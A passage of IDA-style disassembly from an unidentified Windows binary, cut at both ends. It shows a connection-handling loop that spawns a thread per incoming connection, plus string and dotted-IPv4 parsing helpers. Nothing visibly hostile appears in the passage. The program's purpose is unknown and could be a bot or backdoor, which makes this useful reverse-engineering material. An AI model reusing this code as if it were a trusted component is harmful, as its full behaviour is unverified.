		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: cAddress:004075FDj
		push	dword ptr [ebp-16E8h]
		lea	eax, [ebp-16E0h]
		push	eax
		push	dword ptr [ebp-5D4h]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: cAddress:004075CBj
					; cAddress:0040761Ej
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: cAddress:loc_407597j
					; cAddress:004075BBj ...
		push	dword ptr [ebp-5D4h]
		call	sub_40538D
		pop	ecx
		push	dword ptr [ebp-5E0h]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: cAddress:00407391j
					; cAddress:0040749Bj ...
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40764D:				; DATA XREF: sub_4077DD+B4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1C0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp-1BCh]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp-1C4h], eax
		cmp	dword ptr [ebp-1C4h], 0
		jnz	short loc_4076A8
		push	dword ptr [ebp-1C0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: cAddress:00407693j
		lea	eax, [ebp-1BCh]
		push	eax
		mov	eax, [ebp-1C0h]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp-1A6h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: cAddress:00407706j
					; cAddress:0040772Ej ...
		push	3E8h
		push	dword ptr [ebp-1C4h]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp-1C8h], eax
		mov	eax, [ebp-1C0h]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	dword ptr [ebp-1C8h], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: cAddress:004076EDj
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: cAddress:004076F6j
		cmp	dword ptr [ebp-1C8h], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: cAddress:00407704j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-1CCh], eax
		cmp	dword ptr [ebp-1CCh], 0
		jnz	short loc_407730
		push	dword ptr [ebp-1C8h]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: cAddress:00407720j
		mov	eax, [ebp-1CCh]
		mov	ecx, [ebp-1C8h]
		mov	[eax], ecx
		lea	eax, [ebp-1BCh]
		push	eax
		mov	eax, [ebp-1CCh]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1B6h]
		push	eax
		mov	eax, [ebp-1CCh]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp-1A6h]
		push	eax
		mov	eax, [ebp-1CCh]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp-1CCh]
		push	offset loc_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	dword ptr [ebp-1CCh]
		call	sub_416B4C	; free
		pop	ecx
		push	dword ptr [ebp-1C8h]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: cAddress:004077A0j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: cAddress:loc_4076F8j
		push	dword ptr [ebp-1C4h]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-1C0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: cAddress:004076A3j
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DE00


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset loc_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: cAddress:0040869Fp
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


